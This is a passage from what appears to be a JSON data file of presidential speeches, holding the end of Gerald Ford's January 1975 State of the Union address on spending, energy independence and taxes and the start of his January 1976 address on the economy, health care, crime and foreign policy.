trouble is that we have been self-indulgent. For decades, we\nhave been voting ever-increasing levels of Government benefits, and now the\nbill has come due. We have been adding so many new programs that the size\nand the growth of the Federal budget has taken on a life of its own.One characteristic of these programs is that their cost increases\nautomatically every year because the number of people eligible for most of\nthe benefits increases every year. When these programs are enacted, there\nis no dollar amount set. No one knows what they will cost. All we know is\nthat whatever they cost last year, they will cost more next year.It is a question of simple arithmetic. Unless we check the excessive growth\nof Federal expenditures or impose on ourselves matching increases in taxes,\nwe will continue to run huge inflationary deficits in the Federal budget.If we project the current built-in momentum of Federal spending through the\nnext 15 years, State, Federal, and local government expenditures could\neasily comprise half of our gross national product. This compares with less\nthan a third in 1975.I have just concluded the process of preparing the budget submissions for\nfiscal year 1976. In that budget, I will propose legislation to restrain\nthe growth of a number of existing programs. I have also concluded that no\nnew spending programs can be initiated this year, except for energy.\nFurther, I will not hesitate to veto any new spending programs adopted by\nthe Congress.As an additional step toward putting the Federal Government's house in\norder, I recommend a 5-percent limit on Federal pay increases in 1975. In\nall Government programs tied to the Consumer Price Index--including social\nsecurity, civil service and military retirement pay, and food stamps--I\nalso propose a 1-year maximum increase of 5 percent.None of these recommended ceiling limitations, over which Congress has\nfinal authority, are easy to propose, because in most cases they involve\nanticipated payments to many, many deserving people. Nonetheless, it must\nbe done. I must emphasize that I am not asking to eliminate, to reduce, to\nfreeze these payments. I am merely recommending that we slow down the rate\nat which these payments increase and these programs grow.Only a reduction in the growth of spending can keep Federal borrowing down\nand reduce the damage to the private sector from high interest rates. Only\na reduction in spending can make it possible for the Federal Reserve System\nto avoid an inflationary growth in the money supply and thus restore\nbalance to our economy. A major reduction in the growth of Federal spending\ncan help dispel the uncertainty that so many feel about our economy and put\nus on the way to curing our economic ills.If we don't act to slow down the rate of increase in Federal spending, the\nUnited States Treasury will be legally obligated to spend more than $360\nbillion in fiscal year 1976, even if no new programs are enacted. These are\nnot matters of conjecture or prediction, but again, a matter of simple\narithmetic. The size of these numbers and their implications for our\neveryday life and the health of our economic system are shocking.I submitted to the last Congress a list of budget deferrals and\nrescissions. There will be more cuts recommended in the budget that I will\nsubmit. Even so, the level of outlays for fiscal year 1976 is still much,\nmuch too high. Not only is it too high for this year but the decisions we\nmake now will inevitably have a major and growing impact on expenditure\nlevels in future years. I think this is a very fundamental issue that we,\nthe Congress and I, must jointly solve.Economic disruptions we and others are experiencing stem in part from the\nfact that the world price of petroleum has quadrupled in the last year. But\nin all honesty, we cannot put all of the blame on the oil-exporting\nnations. We, the United States, are not blameless. Our growing dependence\nupon foreign sources has been adding to our vulnerability for years and\nyears, and we did nothing to prepare ourselves for such an event as the\nembargo of 1973.During the 1960's, this country had a surplus capacity of crude oil which\nwe were able to make available to our trading partners whenever there was a\ndisruption of supply. This surplus capacity enabled us to influence both\nsupplies and prices of crude oil throughout the world. Our excess capacity\nneutralized any effort at establishing an effective cartel, and thus the\nrest of the world was assured of adequate supplies of oil at reasonable\nprices.By 1970, our surplus capacity had vanished, and as a consequence, the\nlatent power of the oil cartel could emerge in full force. Europe and\nJapan, both heavily dependent on imported oil, now struggle to keep their\neconomies in balance. Even the United States, our country, which is far\nmore self-sufficient than most other industrial countries, has been .put\nunder serious pressure.I am proposing a program which will begin to restore our country's surplus\ncapacity in total energy. In this way, we will be able to assure ourselves\nreliable and adequate energy and help foster a new world energy stability\nfor other major consuming nations.But this Nation and, in fact, the world must face the prospect of energy\ndifficulties between now and 1985. This program will impose burdens on all\nof us with the aim of reducing our consumption of energy and increasing our\nproduction. Great attention has been paid to the considerations of\nfairness, and I can assure you that the burdens will not fall more harshly\non those less able to bear them.I am recommending a plan to make us invulnerable to cutoffs of foreign oil.\nIt will require sacrifices, but it--and this is most important--it will\nwork.I have set the following national energy goals to assure that our future is\nas secure and as productive as our past:First, we must reduce oil imports by 1 million barrels per day by the end\nof this year and by 2 million barrels per day by the end of 1977.Second, we must end vulnerability to economic disruption by foreign\nsuppliers by 1985.Third, we must develop our energy technology and resources so that the\nUnited States has the ability to supply a significant share of the energy\nneeds of the free world by the end of this century.To attain these objectives, we need immediate action to cut imports.\nUnfortunately, in the short term there are only a limited number of actions\nwhich can increase domestic supply. I will press for all of them.I urge quick action on the necessary legislation to allow commercial\nproduction at the Elk Hills, California, Naval Petroleum Reserve. In order\nthat we make greater use of domestic coal resources, I am submitting\namendments to the Energy Supply and Environmental Coordination Act which\nwill greatly increase the number of powerplants that can be promptly\nconverted to coal.Obviously, voluntary conservation continues to be essential, but tougher\nprograms are needed--and needed now. Therefore, I am using Presidential\npowers to raise the fee on all imported crude oil and petroleum products.\nThe crude oil fee level will be increased $1 per barrel on February 1, by\n$2 per barrel on March 1, and by $3 per barrel on April 1. I will take\nactions to reduce undue hardships on any geographical region. The foregoing\nare interim administrative actions. They will be rescinded when the broader\nbut necessary legislation is enacted.To that end, I am requesting the Congress to act within 90 days on a more\ncomprehensive energy tax program. It includes: excise taxes and import fees\ntotaling $2 per barrel on product imports and on all crude oil;\nderegulation of new natural gas and enactment of a natural gas excise tax.I plan to take Presidential initiative to decontrol the price of domestic\ncrude oil on April 1. I urge the Congress to enact a windfall profits tax\nby that date to ensure that oil producers do not profit unduly.The sooner Congress acts, the more effective the oil conservation program\nwill be and the quicker the Federal revenues can be returned to our\npeople.I am prepared to use Presidential authority to limit imports, as necessary,\nto guarantee success.I want you to know that before deciding on my energy conservation program,\nI considered rationing and higher gasoline taxes as alternatives. In my\njudgment, neither would achieve the desired results and both would produce\nunacceptable inequities.A massive program must be initiated to increase energy supply, to cut\ndemand, and provide new standby emergency programs to achieve the\nindependence we want by 1985. The largest part of increased oil production\nmust come from new frontier areas on the Outer Continental Shelf and from\nthe Naval Petroleum Reserve No. 4 in Alaska. It is the intent of this\nAdministration to move ahead with exploration, leasing, and production on\nthose frontier areas of the Outer Continental Shelf where the environmental\nrisks are acceptable.Use of our most abundant domestic resource--coal--is severely limited. We\nmust strike a reasonable compromise on environmental concerns with coal. I\nam submitting Clean Air amendments which will allow greater coal use\nwithout sacrificing clean air goals.I vetoed the strip mining legislation passed by the last Congress. With\nappropriate changes, I will sign a revised version when it comes to the\nWhite House.I am proposing a number of actions to energize our nuclear power program. I\nwill submit legislation to expedite nuclear leasing and the\nrapid selection of sites.In recent months, utilities have cancelled or postponed over 60 percent of\nplanned nuclear expansion and 30 percent of planned additions to\nnon-nuclear capacity. Financing problems for that industry are worsening. I\nam therefore recommending that the 1-year investment tax credit of 12\npercent be extended an additional 2 years to specifically speed the\nconstruction of powerplants that do not use natural gas or oil. I am also\nsubmitting proposals for selective reform of State utility commission\nregulations.To provide the critical stability for our domestic energy production in the\nface of world price uncertainty, I will request legislation to authorize\nand require tariffs, import quotas, or price floors to protect our energy\nprices at levels which will achieve energy independence.Increasing energy supplies is not enough. We must take additional steps to\ncut long-term consumption. I therefore propose to the Congress: legislation\nto make thermal efficiency standards mandatory for all new buildings in the\nUnited States; a new tax credit of up to $150 for those homeowners who\ninstall insulation equipment; the establishment of an energy conservation\nprogram to help low-income families purchase insulation supplies;\nlegislation to modify and defer automotive pollution standards for 5 years,\nwhich will enable us to improve automobile gas mileage by 40 percent by\n1980.These proposals and actions, cumulatively, can reduce our dependence on\nforeign energy supplies from 3 to 5 million barrels per day by 1985. To\nmake the United States invulnerable to foreign disruption, I propose\nstandby emergency legislation and a strategic storage program of 1 billion\nbarrels of oil for domestic needs and 300 million barrels for national\ndefense purposes.I will ask for the funds needed for energy research and development\nactivities. I have established a goal of 1 million barrels of synthetic\nfuels and shale oil production per day by 1985 together with an incentive\nprogram to achieve it.I have a very deep belief in America's capabilities. Within the next 10\nyears, my program envisions: 200 major nuclear powerplants; 250 major new\ncoal mines; 150 major coal-fired powerplants; 30 major new refineries; 20\nmajor new synthetic fuel plants; the drilling of many thousands of new\noil wells; the insulation of 18 million homes; and the manufacturing\nand the sale of millions of new automobiles, trucks, and buses that\nuse much less fuel.I happen to believe that we can do it. In another crisis--the one in 1942\nPresident Franklin D. Roosevelt said this country would build 60,000\nmilitary aircraft. By 1943, production in that program had reached\n125,000 aircraft annually. They did it then. We can do it now.If the Congress and the American people will work with me to attain these\ntargets, they will be achieved and will be surpassed. From adversity, let\nus seize opportunity. Revenues of some $30 billion from higher energy taxes\ndesigned to encourage conservation must be refunded to the American people\nin a manner which corrects distortions in our tax system wrought by\ninflation.People have been pushed into higher tax brackets by inflation, with\nconsequent reduction in their actual spending power. Business taxes are\nsimilarly distorted because inflation exaggerates reported profits,\nresulting in excessive taxes.Accordingly, I propose that future individual income taxes be reduced by\n$16.5 billion. This will be done by raising the low-income allowance and\nreducing tax rates. This continuing tax cut will primarily benefit lower-\nand middle-income taxpayers.For example, a typical family of four with a gross income of $5,600 now\npays $185 in Federal income taxes. Under this tax cut plan, they would pay\nnothing. A family of four with a gross income of $12,500 now pays $1,260 in\nFederal taxes. My proposal reduces that total by $300. Families grossing\n$20,000 would receive a reduction of $210.Those with the very lowest incomes, who can least afford higher costs, must\nalso be compensated. I propose a payment of $80 to every person 18 years of\nage and older in that very limited category.State and local governments will receive $2 billion in additional revenue\nsharing to offset their increased energy costs.To offset inflationary distortions and to generate more economic activity,\nthe corporate tax rate will be reduced from 48 percent to 42 percent.Now let me turn, if I might, to the international dimension of the present\ncrisis. At no time in our peacetime history has the state of the Nation\ndepended more heavily on the state of the world. And seldom, if ever, has\nthe state of the world depended more heavily on the state of our Nation.The economic distress is global. We will not solve it at home unless we\nhelp to remedy the profound economic dislocation abroad. World trade and\nmonetary structure provides markets, energy, food, and vital raw\nmaterials--for all nations. This international system is now in jeopardy.This Nation can be proud of significant achievements in recent years in\nsolving problems and crises. The Berlin agreement, the SALT agreements, our\nnew relationship with China, the unprecedented efforts in the Middle East\nare immensely encouraging. But the world is not free from crisis. In a\nworld of 150 nations, where nuclear technology is proliferating and\nregional conflicts continue, international security cannot be taken for\ngranted.So, let there be no mistake about it: International cooperation is a vital\nfactor of our lives today. This is not a moment for the American people to\nturn inward. More than ever before, our own well-being depends on America's\ndetermination and America's leadership in the whole wide world.We are a great Nation--spiritually, politically, militarily,\ndiplomatically, and economically. America's commitment to international\nsecurity has sustained the safety of allies and friends in many areas--in\nthe Middle East, in Europe, and in Asia. Our turning away would unleash new\ninstabilities, new dangers around the globe, which, in turn, would threaten\nour own security.At the end of World War II, we turned a similar challenge into an historic\nopportunity and, I might add, an historic achievement. An old order was in\ndisarray; political and economic institutions were shattered. In that\nperiod, this Nation and its partners built new institutions, new mechanisms\nof mutual support and cooperation. Today, as then, we face an historic\nopportunity. If we act imaginatively and boldly, as we acted then, this\nperiod will in retrospect be seen as one of the great creative moments of\nour Nation's history. The whole world is watching to see how we respond.A resurgent American economy would do more to restore the confidence of the\nworld in its own future than anything else we can do. The program that this\nCongress passes can demonstrate to the world that we have started to put\nour own house in order. If we can show that this Nation is able and willing\nto help other nations meet the common challenge, it can demonstrate that\nthe United States will fulfill its responsibilities as a leader among\nnations.Quite frankly, at stake is the future of industrialized democracies, which\nhave perceived their destiny in common and sustained it in common for 30\nyears.The developing nations are also at a turning point. The poorest nations see\ntheir hopes of feeding their hungry and developing their societies\nshattered by the economic crisis. The long-term economic future for the\nproducers of raw materials also depends on cooperative solutions.Our relations with the Communist countries are a basic factor of the world\nenvironment. We must seek to build a long-term basis for coexistence. We\nwill stand by our principles. We will stand by our interests. We will act\nfirmly when challenged. The kind of a world we want depends on a broad\npolicy of creating mutual incentives for restraint and for cooperation.As we move forward to meet our global challenges and opportunities, we must\nhave the tools to do the job.Our military forces are strong and ready. This military strength deters\naggression against our allies, stabilizes our relations with former\nadversaries, and protects our homeland. Fully adequate conventional and\nstrategic forces cost many, many billions, but these dollars are sound\ninsurance for our safety and for a more peaceful world.Military strength alone is not sufficient. Effective diplomacy is also\nessential in preventing conflict, in building world understanding. The\nVladivostok negotiations with the Soviet Union represent a major step in\nmoderating strategic arms competition. My recent discussions with the\nleaders of the Atlantic community, Japan, and South Korea have contributed\nto meeting the common challenge.But we have serious problems before us that require cooperation between the\nPresident and the Congress. By the Constitution and tradition, the\nexecution of foreign policy is the responsibility of the President.In recent years, under the stress of the Vietnam war, legislative\nrestrictions on the President's ability to execute foreign policy and\nmilitary decisions have proliferated. As a Member of the Congress, I\nopposed some and I approved others. As President, I welcome the advice and\ncooperation of the House and the Senate.But if our foreign policy is to be successful, we cannot rigidly restrict\nin legislation the ability of the President to act. The conduct of\nnegotiations is ill-suited to such limitations. Legislative restrictions,\nintended for the best motives and purposes, can have the opposite result,\nas we have seen most recently in our trade relations with the Soviet\nUnion.For my part, I pledge this Administration will act in the closest\nconsultation with the Congress as we face delicate situations and troubled\ntimes throughout the globe.When I became President only 5 months ago, I promised the last Congress a\npolicy of communication, conciliation, compromise, and cooperation. I renew\nthat pledge to the new Members of this Congress.Let me sum it up. America needs a new direction, which I have sought to\nchart here today--a change of course which will: put the unemployed back to\nwork; increase real income and production; restrain the growth of Federal\nGovernment spending; achieve energy independence; and advance the cause of\nworld understanding.We have the ability. We have the know-how. In partnership with the American\npeople, we will achieve these objectives.As our 200th anniversary approaches, we owe it to ourselves and to\nposterity to rebuild our political and economic strength. Let us make\nAmerica once again and for centuries more to come what it has so long\nbeen--a stronghold and a beacon-light of liberty for the whole world.Thank you.", 
+    "name": "Gerald R. Ford"
+}
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+{
+    "date": "January 19, 1976", 
+    "speech": "Mr. Speaker, Mr. Vice President, Members of the 94th Congress, and\ndistinguished guests:As we begin our Bicentennial, America is still one of the youngest nations\nin recorded history. Long before our forefathers came to these shores, men\nand women had been struggling on this planet to forge a better life for\nthemselves and their families.In man's long, upward march from savagery and slavery--throughout the\nnearly 2,000 years of the Christian calendar, the nearly 6,000 years of\nJewish reckoning--there have been many deep, terrifying valleys, but also\nmany bright and towering peaks.One peak stands highest in the ranges of human history. One example shines\nforth of a people uniting to produce abundance and to share the good life\nfairly and with freedom. One union holds out the promise of justice and\nopportunity for every citizen: That union is the United States of America.We have not remade paradise on Earth. We know perfection will not be found\nhere. But think for a minute how far we have come in 200 years.We came from many roots, and we have many branches. Yet all Americans\nacross the eight generations that separate us from the stirring deeds of\n1776, those who know no other homeland and those who just found refuge\namong our shores, say in unison:I am proud of America, and I am proud to be an American. Life will be a\nlittle better here for my children than for me. I believe this not because\nI am told to believe it, but because life has been better for me than it\nwas for my father and my mother. I know it will be better for my children\nbecause my hands, my brains, my voice, and my vote can help make it\nhappen.It has happened here in America. It has happened to you and to me.\nGovernment exists to create and preserve conditions in which people can\ntranslate their ideas into practical reality. In the best of times, much is\nlost in translation. But we try. Sometimes we have tried and failed. Always\nwe have had the best of intentions.But in the recent past, we sometimes forgot the sound principles that\nguided us through most of our history. We wanted to accomplish great things\nand solve age-old problems. And we became overconfident of our abilities.\nWe tried to be a policeman abroad and the indulgent parent here at home.We thought we could transform the country through massive national\nprograms, but often the programs did not work. Too often they only made\nthings worse. In our rush to accomplish great deeds quickly, we trampled on\nsound principles of restraint and endangered the rights of individuals. We\nunbalanced our economic system by the huge and unprecedented growth of\nFederal expenditures and borrowing. And we were not totally honest with\nourselves about how much these programs would cost and how we would pay for\nthem. Finally, we shifted our emphasis from defense to domestic problems\nwhile our adversaries continued a massive buildup of arms.The time has now come for a fundamentally different approach for a new\nrealism that is true to the great principles upon which this Nation was\nfounded.We must introduce a new balance to our economy--a balance that favors not\nonly sound, active government but also a much more vigorous, healthy\neconomy that can create new jobs and hold down prices.We must introduce a new balance in the relationship between the individual\nand the government--a balance that favors greater individual freedom and\nself-reliance.We must strike a new balance in our system of federalism--a balance that\nfavors greater responsibility and freedom for the leaders of our State and\nlocal governments.We must introduce a new balance between the spending on domestic programs\nand spending on defense--a balance that ensures we will fully meet our\nobligation to the needy while also protecting our security in a world that\nis still hostile to freedom.And in all that we do, we must be more honest with the American people,\npromising them no more than we can deliver and delivering all that we\npromise.The genius of America has been its incredible ability to improve the lives\nof its citizens through a unique combination of governmental and free\ncitizen activity.History and experience tells us that moral progress cannot come in\ncomfortable and in complacent times, but out of trial and out of confusion.\nTom Paine aroused the troubled Americans of 1776 to stand up to the times\nthat try men's souls because the harder the conflict, the more glorious the\ntriumph.Just a year ago I reported that the state of the Union was not good.\nTonight, I report that the state of our Union is better--in many ways a lot\nbetter--but still not good enough.To paraphrase Tom Paine, 1975 was not a year for summer soldiers and\nsunshine patriots. It was a year of fears and alarms and of dire\nforecasts--most of which never happened and won't happen.As you recall, the year 1975 opened with rancor and with bitterness.\nPolitical misdeeds of the past had neither been forgotten nor forgiven. The\nlongest, most divisive war in our history was winding toward an unhappy\nconclusion. Many feared that the end of that foreign war of men and\nmachines meant the beginning of a domestic war of recrimination and\nreprisal. Friends and adversaries abroad were asking whether America had\nlost its nerve. Finally, our economy was ravaged by inflation--inflation\nthat was plunging us into the worst recession in four decades. At the same\ntime, Americans became increasingly alienated from big institutions. They\nwere steadily losing confidence, not just in big government but in big\nbusiness, big labor, and big education, among others. Ours was a troubled\nland.And so, 1975 was a year of hard decisions, difficult compromises, and a new\nrealism that taught us something important about America. It brought back a\nneeded measure of common sense, steadfastness, and self-discipline.Americans did not panic or demand instant but useless cures. In all\nsectors, people met their difficult problems with the restraint and with\nresponsibility worthy of their great heritage.Add up the separate pieces of progress in 1975, subtract the setbacks, and\nthe sum total shows that we are not only headed in a new direction, a\ndirection which I proposed 12 months ago, but it turned out to be the right\ndirection.It is the right direction because it follows the truly revolutionary\nAmerican concept of 1776, which holds that in a free society the making of\npublic policy and successful problem-solving involves much more than\ngovernment. It involves a full partnership among all branches and all\nlevels of government, private institutions, and individual citizens.Common sense tells me to stick to that steady course.Take the state of our economy. Last January, most things were rapidly\ngetting worse. This January, most things are slowly but surely getting\nbetter.The worst recession since World War II turned around in April. The best\ncost-of-living news of the past year is that double-digit inflation of 12\npercent or higher was cut almost in half. The worst--unemployment remains\nfar too high.Today, nearly 1,700,000 more Americans are working than at the bottom of\nthe recession. At year's end, people were again being hired much faster\nthan they were being laid off.Yet, let's be honest. Many Americans have not yet felt these changes in\ntheir daily lives. They still see prices going up far too fast, and they\nstill know the fear of unemployment.We are also a growing nation. We need more and more jobs every year.\nToday's economy has produced over 85 million jobs for Americans, but we\nneed a lot more jobs, especially for the young.My first objective is to have sound economic growth without inflation.We all know from recent experience what runaway inflation does to ruin\nevery other worthy purpose. We are slowing it. We must stop it cold.For many Americans, the way to a healthy, noninflationary economy has\nbecome increasingly apparent. The Government must stop spending so much and\nstop borrowing so much of our money. More money must remain in private\nhands where it will do the most good. To hold down the cost of living, we\nmust hold down the cost of government.In the past decade, the Federal budget has been growing at an average rate\nof over 10 percent a year. The budget I am submitting Wednesday cuts this\nrate of growth in half. I have kept my promise to submit a budget for the\nnext fiscal year of $395 billion. In fact, it is $394.2 billion.By holding down the growth of Federal spending, we can afford additional\ntax cuts and return to the people who pay taxes more decisionmaking power\nover their own lives.Last month I signed legislation to extend the 1975 tax reductions for the\nfirst 6 months of this year. I now propose that effective July 1, 1976, we\ngive our taxpayers a tax cut of approximately $10 billion more than\nCongress agreed to in December.My broader tax reduction would mean that for a family of four making\n$15,000 a year, there will be $227 more in take-home pay annually.\nHardworking Americans caught in the middle can really use that kind of\nextra cash.My recommendations for a firm restraint on the growth of Federal spending\nand for greater tax reduction are simple and straightforward. For every\ndollar saved in cutting the growth in the Federal budget, we can have an\nadded dollar of Federal tax reduction.We can achieve a balanced budget by 1979 if we have the courage and the\nwisdom to continue to reduce the growth of Federal spending.One test of a healthy economy is a job for every American who wants to\nwork. Government--our kind of government--cannot create that many jobs. But\nthe Federal Government can create conditions and incentives for private\nbusiness and industry to make more and more jobs.Five out of six jobs in this country are in private business and in\nindustry. Common sense tells us this is the place to look for more jobs and\nto find them faster. I mean real, rewarding, permanent jobs.To achieve this we must offer the American people greater incentives to\ninvest in the future. My tax proposals are a major step in that direction.\nTo supplement these proposals, I ask that Congress enact changes in Federal\ntax laws that will speed up plant expansion and the purchase of new\nequipment. My recommendations will concentrate this job-creation tax\nincentive in areas where the unemployment rate now runs over 7 percent.\nLegislation to get this started must be approved at the earliest possible\ndate.Within the strict budget total that I will recommend for the coming year, I\nwill ask for additional housing assistance for 500,000 families. These\nprograms will expand housing opportunities, spur construction, and help to\nhouse moderate- and low-income families.We had a disappointing year in the housing industry in 1975. But with lower\ninterest rates and available mortgage money, we can have a healthy recovery\nin 1976.A necessary condition of a healthy economy is freedom from the petty\ntyranny of massive government regulation. We are wasting literally millions\nof working hours costing billions of taxpayers' and consumers' dollars\nbecause of bureaucratic redtape. The American farmer, who now feeds 215\nmillion Americans, but also millions worldwide, has shown how much more he\ncan produce without the shackles of government control.Now, we badly need reforms in other key areas in our economy: the airlines,\ntrucking, railroads, and financial institutions. I have submitted concrete\nplans in each of these areas, not to help this or that industry, but to\nfoster competition and to bring prices down for the consumer.This administration, in addition, will strictly enforce the Federal\nantitrust laws for the very same purposes.Taking a longer look at America's future, there can be neither sustained\ngrowth nor more jobs unless we continue to have an assured supply of energy\nto run our economy. Domestic production of oil and gas is still declining.\nOur dependence on foreign oil at high prices is still too great, draining\njobs and dollars away from our own economy at the rate of $125 per year for\nevery American.Last month, I signed a compromise national energy bill which enacts a part\nof my comprehensive energy independence program. This legislation was late,\nnot the complete answer to energy independence, but still a start in the\nright direction.I again urge the Congress to move ahead immediately on the remainder of my\nenergy proposals to make America invulnerable to the foreign oil cartel.My proposals, as all of you know, would reduce domestic natural gas\nshortages; allow production from Federal petroleum reserves; stimulate\neffective conservation, including revitalization of our railroads and the\nexpansion of our urban transportation systems; develop more and cleaner\nenergy from our vast coal resources; expedite clean and safe nuclear power\nproduction; create a new national energy independence authority to\nstimulate vital energy investment; and accelerate development of technology\nto capture energy from the Sun and the Earth for this and future\ngenerations.Also, I ask, for the sake of future generations, that we preserve the\nfamily farm and family-owned small business. Both strengthen America and\ngive stability to our economy. I will propose estate tax changes so that\nfamily businesses and family farms can be handed down from generation to\ngeneration without having to be sold to pay taxes.I propose tax changes to encourage people to invest in America's future,\nand their own, through a plan that gives moderate-income families income\ntax benefits if they make long-term investments in common stock in American\ncompanies.The Federal Government must and will respond to clear-cut national\nneeds--for this and future generations.Hospital and medical services in America are among the best in the world,\nbut the cost of a serious and extended illness can quickly wipe out a\nfamily's lifetime savings. Increasing health costs are of deep concern to\nall and a powerful force pushing up the cost of living. The burden of\ncatastrophic illness can be borne by very few in our society. We must\neliminate this fear from every family.I propose catastrophic health insurance for everybody covered by Medicare.\nTo finance this added protection, fees for short-term care will go up\nsomewhat, but nobody after reaching age 65 will have to pay more than $500\na year for covered hospital or nursing home care, nor more than $250 for 1\nyear's doctor bills.We cannot realistically afford federally dictated national health insurance\nproviding full coverage for all 215 million Americans. The experience of\nother countries raises questions about the quality as well as the cost of\nsuch plans. But I do envision the day when we may use the private health\ninsurance system to offer more middle-income families high quality health\nservices at prices they can afford and shield them also from their\ncatastrophic illnesses.Using resources now available, I propose improving the Medicare and other\nFederal health programs to help those who really need protection--older\npeople and the poor. To help States and local governments give better\nhealth care to the poor, I propose that we combine 16 existing Federal\nprograms, including Medicaid, into a single $10 billion Federal grant.Funds would be divided among States under a new formula which provides a\nlarger share of Federal money to those States that have a larger share of\nlow-income families.I will take further steps to improve the quality of medical and hospital\ncare for those who have served in our Armed Forces.Now let me speak about social security. Our Federal social security system\nfor people who have worked and contributed to it for all their lives is a\nvital part of our economic system. Its value is no longer debatable. In my\nbudget for fiscal year 1977, I am recommending that the full cost-of-living\nincreases in the social security benefits be paid during the coming year.But I am concerned about the integrity of our Social Security Trust Fund\nthat enables people--those retired and those still working who will\nretire--to count on this source of retirement income. Younger workers watch\ntheir deductions rise and wonder if they will be adequately protected in\nthe future. We must meet this challenge head on. Simple arithmetic warns\nall of us that the Social Security Trust Fund is headed for trouble. Unless\nwe act soon to make sure the fund takes in as much as it pays out, there\nwill be no security for old or for young.I must, therefore, recommend a three-tenths of 1 percent increase in both\nemployer and employee social security taxes effective January 1, 1977. This\nwill cost each covered employee less than 1 extra dollar a week and will\nensure the integrity of the trust fund.As we rebuild our economy, we have a continuing responsibility to provide a\ntemporary cushion to the unemployed. At my request, the Congress enacted\ntwo extensions and two expansions in unemployment insurance which helped\nthose who were jobless during 1975. These programs will continue in 1976.In my fiscal year 1977 budget, I am also requesting funds to continue\nproven job training and employment opportunity programs for millions of\nother Americans.Compassion and a sense of community--two of America's greatest strengths\nthroughout our history--tell us we must take care of our neighbors who\ncannot take care of themselves. The host of Federal programs in this field\nreflect our generosity as a people.But everyone realizes that when it comes to welfare, government at all\nlevels is not doing the job well. Too many of our welfare programs are\ninequitable and invite abuse. Too many of our welfare programs have\nproblems from beginning to end. Worse, we are wasting badly needed\nresources without reaching many of the truly needy.Complex welfare programs cannot be reformed overnight. Surely we cannot\nsimply dump welfare into the laps of the 50 States, their local taxpayers,\nor their private charities, and just walk away from it. Nor is it the right\ntime for massive and sweeping changes while we are still recovering from\nthe recession.Nevertheless, there are still plenty of improvements that we can make. I\nwill ask Congress for Presidential authority to tighten up the rules for\neligibility and benefits.Last year I twice sought long overdue reform of the scandal-riddled food\nstamp program. This year I say again: Let's give food stamps to those most\nin need. Let's not give any to those who don't need them.Protecting the life and property of the citizen at home is the\nresponsibility of all public officials, but is primarily the job of local\nand State law enforcement authorities.Americans have always found the very thought of a Federal police force\nrepugnant, and so do I. But there are proper ways in which we can help to\ninsure domestic tranquility as the Constitution charges us.My recommendations on how to control violent crime were submitted to the\nCongress last June with strong emphasis on protecting the innocent victims\nof crime. To keep a convicted criminal from committing more crimes, we must\nput him in prison so he cannot harm more law-abiding citizens. To be\neffective, this punishment must be swift and it must be certain.Too often, criminals are not sent to prison after conviction but are\nallowed to return to the streets. Some judges are reluctant to send\nconvicted criminals to prison because of inadequate facilities. To\nalleviate this problem at the Federal level, my new budget proposes the\nconstruction of four new Federal facilities.To speed Federal justice, I propose an increase this year in the United\nStates attorneys prosecuting Federal crimes and the reinforcement of the\nnumber of United States marshals. Additional Federal judges are needed, as\nrecommended by me and the Judicial Conference.Another major threat to every American's person and property is the\ncriminal carrying a handgun. The way to cut down on the criminal use of\nguns is not to take guns away from the law-abiding citizen, but to impose\nmandatory sentences for crimes in which a gun is used, make it harder to\nobtain cheap guns for criminal purposes, and concentrate gun control\nenforcement in highcrime areas.My budget recommends 500 additional Federal agents in the 11 largest\nmetropolitan high-crime areas to help local authorities stop criminals from\nselling and using handguns.The sale of hard drugs is tragically on the increase again. I have directed\nall agencies of the Federal Government to step up law enforcement efforts\nagainst those who deal in drugs. In 1975, I am glad to report, Federal\nagents seized substantially more heroin coming into our country than in\n1974.As President, I have talked personally with the leaders of Mexico,\nColombia, and Turkey to urge greater efforts by their Governments to\ncontrol effectively the production and shipment of hard drugs.I recommended months ago that the Congress enact mandatory fixed sentences\nfor persons convicted of Federal crimes involving the sale of hard drugs.\nHard drugs, we all know, degrade the spirit as they destroy the body of\ntheir users.It is unrealistic and misleading to hold out the hope that the Federal\nGovernment can move into every neighborhood and clean up crime. Under the\nConstitution, the greatest responsibility for curbing crime lies with State\nand local authorities. They are the frontline fighters in the war against\ncrime.There are definite ways in which the Federal Government can help them. I\nwill propose in the new budget that Congress authorize almost $7 billion\nover the next 5 years to assist State and local governments to protect the\nsafety and property of all their citizens.As President, I pledge the strict enforcement of Federal laws and--by\nexample, support, and leadership--to help State and local authorities\nenforce their laws. Together, we must protect the victims of crime and\nensure domestic tranquility.Last year I strongly recommended a 5-year extension of the existing revenue\nsharing legislation, which thus far has provided $23 1/2 billion to help\nState and local units of government solve problems at home. This program\nhas been effective with decisionmaking transferred from the Federal\nGovernment to locally elected officials. Congress must act this year, or\nState and local units of government will have to drop programs or raise\nlocal taxes.Including my health care program reforms, I propose to consolidate some 59\nseparate Federal programs and provide flexible Federal dollar grants to\nhelp States, cities, and local agencies in such important areas as\neducation, child nutrition, and social services. This flexible system will\ndo the job better and do it closer to home.The protection of the lives and property of Americans from foreign enemies\nis one of my primary responsibilities as President.In a world of instant communications and intercontinental ballistic\nmissiles, in a world economy that is global and interdependent, our\nrelations with other nations become more, not less, important to the lives\nof Americans.America has had a unique role in the world since the day of our\nindependence 200 years ago. And ever since the end of World War II, we have\nborne--successfully--a heavy responsibility for ensuring a stable world\norder and hope for human progress.Today, the state of our foreign policy is sound and strong. We are at\npeace, and I will do all in my power to keep it that way.Our military forces are capable and ready. Our military power is without\nequal, and I intend to keep it that way.Our principal alliances with the industrial democracies of the Atlantic\ncommunity and Japan have never been more solid.A further agreement to limit the strategic arms race may be achieved.We have an improving relationship with China, the world's most populous\nnation.The key elements for peace among the nations of the Middle East now exist.\nOur traditional friendships in Latin America, Africa, and Asia continue.We have taken the role of leadership in launching a serious and hopeful\ndialog between the industrial world and the developing world.We have helped to achieve significant reform of the international monetary\nsystem.We should be proud of what America, what our country, has accomplished in\nthese areas, and I believe the American people are.The American people have heard too much about how terrible our mistakes,\nhow evil our deeds, and how misguided our purposes. The American people\nknow better.The truth is we are the world's greatest democracy. We remain the symbol of\nman's aspiration for liberty and well-being. We are the embodiment of hope\nfor progress.I say it is time we quit downgrading ourselves as a nation. Of course, it\nis our responsibility to learn the right lesson from past mistakes. It is\nour duty to see that they never happen again. But our greater duty is to\nlook to the future. The world's troubles will not go away.The American people want strong and effective international and defense\npolicies. In our constitutional system, these policies should reflect\nconsultation and accommodation between the President and the Congress. But\nin the final analysis, as the framers of our Constitution knew from hard\nexperience, the foreign relations of the United States can be conducted\neffectively only if there is strong central direction that allows\nflexibility of action. That responsibility clearly rests with the\nPresident.I pledge to the American people policies which seek a secure, just, and\npeaceful world. I pledge to the Congress to work with you to that end.We must not face a future in which we can no longer help our friends, such\nas Angola, even in limited and carefully controlled ways. We must not lose\nall capacity to respond short of military intervention.Some hasty actions of 